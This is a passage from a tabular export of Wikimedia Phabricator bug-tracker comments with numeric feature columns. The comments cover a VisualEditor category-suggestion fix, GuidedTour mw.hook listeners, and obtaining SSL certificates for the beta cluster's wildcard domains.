no content) where you match more than one, which is confusing.

--------------------------
**Version**: unspecified
**Severity**: minor"
231244,"VisualEditor: ""Move this category here"" should not appear in category suggestions when you've not picked one that exists",This is fixed.,,,1370567377,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ppxeze2biaiay2bq2ned,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,This is fixed.
50556,"VisualEditor: ""Move this category here"" should not appear for the last category","It's a no-op, and is confusing. (But is it more confusing to list it?)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1368745380,1370986001.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-isog5p3qki3pp25ezf63,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.35,0.7,"It's a no-op, and is confusing. (But is it more confusing to list it?)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
230763,"VisualEditor: ""Move this category here"" should not appear for the last category",https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c) | change APPROVED and MERGED [by jenkins-bot],,,1371002078,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c) | change APPROVED and MERGED [by jenkins-bot]
230757,"VisualEditor: ""Move this category here"" should not appear for the last category",Related URL: https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c),,,1371001967,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c)
230748,"VisualEditor: ""Move this category here"" should not appear for the last category",Related URL: https://gerrit.wikimedia.org/r/68130 (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c),,,1371001964,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If48e001b92c217bee0a35b6da41d1c1ff0e3271c)
230738,"VisualEditor: ""Move this category here"" should not appear for the last category",Now merged.,,,1370986001,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
230729,"VisualEditor: ""Move this category here"" should not appear for the last category",Related URL: https://gerrit.wikimedia.org/r/67922 (Gerrit Change I93ce05f7cbb28313a3f0827539f0528c366aeb7e),,,1370905247,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-isog5p3qki3pp25ezf63,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I93ce05f7cbb28313a3f0827539f0528c366aeb7e)
50507,mw.hook listeners for GuidedTour for shouldSkip,"Investigate how mw.hook could be useful for GuidedTour.  One idea is subscribing to state changes for shouldSkip.  For instance, UploadWizard has an AJAX-type interface where you go from step to step without changing pages.

If we could listen to those steps, we could trigger the shouldSkip check (by calling guiders.resume or maybe another method that only checks this).

--------------------------
**Version**: master
**Severity**: enhancement",Medium,50.0,1368612900,1402344878.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-xj7stom4ugsmlhxmz6az,task_description,resolved,True,c1,1,True,False,False,-7,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,4.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,18.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,2.0,2.0,10.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,4.359550561797753,0.7415730337078652,"Investigate how mw.hook could be useful for GuidedTour.  One idea is subscribing to state changes for shouldSkip.  For instance, UploadWizard has an AJAX-type interface where you go from step to step without changing pages.

If we could listen to those steps, we could trigger the shouldSkip check (by calling guiders.resume or maybe another method that only checks this).

--------------------------
**Version**: master
**Severity**: enhancement"
227908,mw.hook listeners for GuidedTour for shouldSkip,"Change 116228 merged by jenkins-bot:
Refactor and add non-linear tours, with tests

https://gerrit.wikimedia.org/r/116228",,,1402332994,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9523809523809523,"Change 116228 merged by jenkins-bot:
Refactor and add non-linear tours, with tests

GERRIT_URL"
227906,mw.hook listeners for GuidedTour for shouldSkip,"Change 116228 had a related patch set uploaded by Mattflaschen:
WIP: Refactor and add non-linear tours, with tests

https://gerrit.wikimedia.org/r/116228",,,1397707892,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9615384615384616,"Change 116228 had a related patch set uploaded by Mattflaschen:
WIP: Refactor and add non-linear tours, with tests

GERRIT_URL"
227903,mw.hook listeners for GuidedTour for shouldSkip,"This is done for VisualEditor.  I made this a tracking bug, and opened a separate one (bug 51985) for UploadWizard.",,,1374693237,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.8461538461538461,"This is done for VisualEditor.  I made this a tracking bug, and opened a separate one (bug 51985) for UploadWizard."
227899,mw.hook listeners for GuidedTour for shouldSkip,I'm working on a change set right now that uses mw.hook for VE like this.,,,1373067339,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-xj7stom4ugsmlhxmz6az,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,3.4705882352941178,1.0,I'm working on a change set right now that uses mw.hook for VE like this.
50501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We now have nginx SSL proxies in front of the beta caches (Bug T38648). We still have to fix the certificate (that is *.wmflabs.org for now).

We need certificates generated by 'Labs CA' for the entries listed in role::protoproxy::ssl::beta and some more.  I guess the easiest would be to create *.beta.wmflabs.org cert that will also contains the following DNS entries:

*.wikimedia.beta.wmflabs.org
*.wikibooks.beta.wmflabs.org
*.wikinews.beta.wmflabs.org
*.wikipedia.beta.wmflabs.org
*.wikiquote.beta.wmflabs.org
*.wikisource.beta.wmflabs.org
*.wikiversity.beta.wmflabs.org
*.wikivoyage.beta.wmflabs.org
*.wiktionary.beta.wmflabs.org

And the mobile ones:

*.m.wikimedia.beta.wmflabs.org
*.m.wikibooks.beta.wmflabs.org
*.m.wikinews.beta.wmflabs.org
*.m.wikipedia.beta.wmflabs.org
*.m.wikiquote.beta.wmflabs.org
*.m.wikisource.beta.wmflabs.org
*.m.wikiversity.beta.wmflabs.org
*.m.wikivoyage.beta.wmflabs.org
*.m.wiktionary.beta.wmflabs.org

*.zero.wikipedia.beta.wmflabs.org

**See Also**:
{T56065}
{T70387}
{T71269}",Medium,50.0,1368604800,1472656512.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-p25kct7eiowcmvkmyncx,task_description,resolved,True,c1,1,True,True,False,-7,,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,2.5,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,3.0,1.0,9.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,4.0,21.0,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.5,6.1067023693605975,0.5722979552093476,"We now have nginx SSL proxies in front of the beta caches (Bug T38648). We still have to fix the certificate (that is *.wmflabs.org for now).

We need certificates generated by 'Labs CA' for the entries listed in role::protoproxy::ssl::beta and some more.  I guess the easiest would be to create *.beta.wmflabs.org cert that will also contains the following DNS entries:

*.wikimedia.beta.wmflabs.org
*.wikibooks.beta.wmflabs.org
*.wikinews.beta.wmflabs.org
*.wikipedia.beta.wmflabs.org
*.wikiquote.beta.wmflabs.org
*.wikisource.beta.wmflabs.org
*.wikiversity.beta.wmflabs.org
*.wikivoyage.beta.wmflabs.org
*.wiktionary.beta.wmflabs.org

And the mobile ones:

*.m.wikimedia.beta.wmflabs.org
*.m.wikibooks.beta.wmflabs.org
*.m.wikinews.beta.wmflabs.org
*.m.wikipedia.beta.wmflabs.org
*.m.wikiquote.beta.wmflabs.org
*.m.wikisource.beta.wmflabs.org
*.m.wikiversity.beta.wmflabs.org
*.m.wikivoyage.beta.wmflabs.org
*.m.wiktionary.beta.wmflabs.org

*.zero.wikipedia.beta.wmflabs.org

**See Also**:
{T56065}
{T70387}
{T71269}"
982520,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.

Edit: ignore this, this comment was meant to be on T97593)",,,1513299970,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,232,,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,14.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.657142857142857,0.9142857142857143,"Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.

Edit: ignore this, this comment was meant to be on T97593)"
982518,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.,,,1513299825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,232,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,Can this ticket be made public nowadays?  There is now T182927 and it seemed like a duplicate.
720717,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Thanks to @Krenair (with reviews from @BBlack ) we got SSL on beta cluster.  That is quite an achievement.

The last remaining patch has been merged in. I believe there is nothing left to do there.",,,1472656512,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,165,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,10.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.146341463414634,0.8780487804878049,"Thanks toSCREEN_NAME (with reviews fromSCREEN_NAME ) we got SSL on beta cluster.  That is quite an achievement.

The last remaining patch has been merged in. I believe there is nothing left to do there."
720695,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 merged by BBlack:
beta: Use Let's Encrypt cert

[[https://gerrit.wikimedia.org/r/247587]]",,,1472654942,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,165,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.4,0.85,"Change 247587 merged by BBlack:
beta: Use Let's Encrypt cert

[[GERRIT_URL]]"
716639,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"So that is now pending review / merge of https://gerrit.wikimedia.org/r/247587 //beta: Use Let's Encrypt cert// which is already on beta cluster.
",,,1472038753,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,164,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.96,0.96,"So that is now pending review / merge of GERRIT_URL //beta: Use Let's Encrypt cert// which is already on beta cluster.
"
716534,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Convince someone with ops rights to merge the patch,,,1472028326,,PHID-USER-mvx4x7ywk2flsaku2dbk,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,164,,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,1.0,Convince someone with ops rights to merge the patch
716533,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,That is really neat @AlexMonk-WMF !  Is there anything left to do?,,,1472027977,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,164,,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,That is really neatSCREEN_NAME-WMF !  Is there anything left to do?
704147,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 merged by jenkins-bot:
deployment-prep: Swap config to HTTPS

[[https://gerrit.wikimedia.org/r/302409]]",,,1470134583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,161,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.5652173913043477,0.8260869565217391,"Change 302409 merged by jenkins-bot:
deployment-prep: Swap config to HTTPS

[[GERRIT_URL]]"
704143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 302409 had a related patch set uploaded (by Alex Monk):
deployment-prep: Swap config to HTTPS

[[https://gerrit.wikimedia.org/r/302409]]
",,,1470134511,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,161,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.5517241379310347,0.896551724137931,"Change 302409 had a related patch set uploaded (by Alex Monk):
deployment-prep: Swap config to HTTPS

[[GERRIT_URL]]
"
704024,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 247587 had a related patch set uploaded (by Alex Monk):
beta: Use Let's Encrypt for upload, and new self-signed SSL certificate for most of text

[[https://gerrit.wikimedia.org/r/247587]]
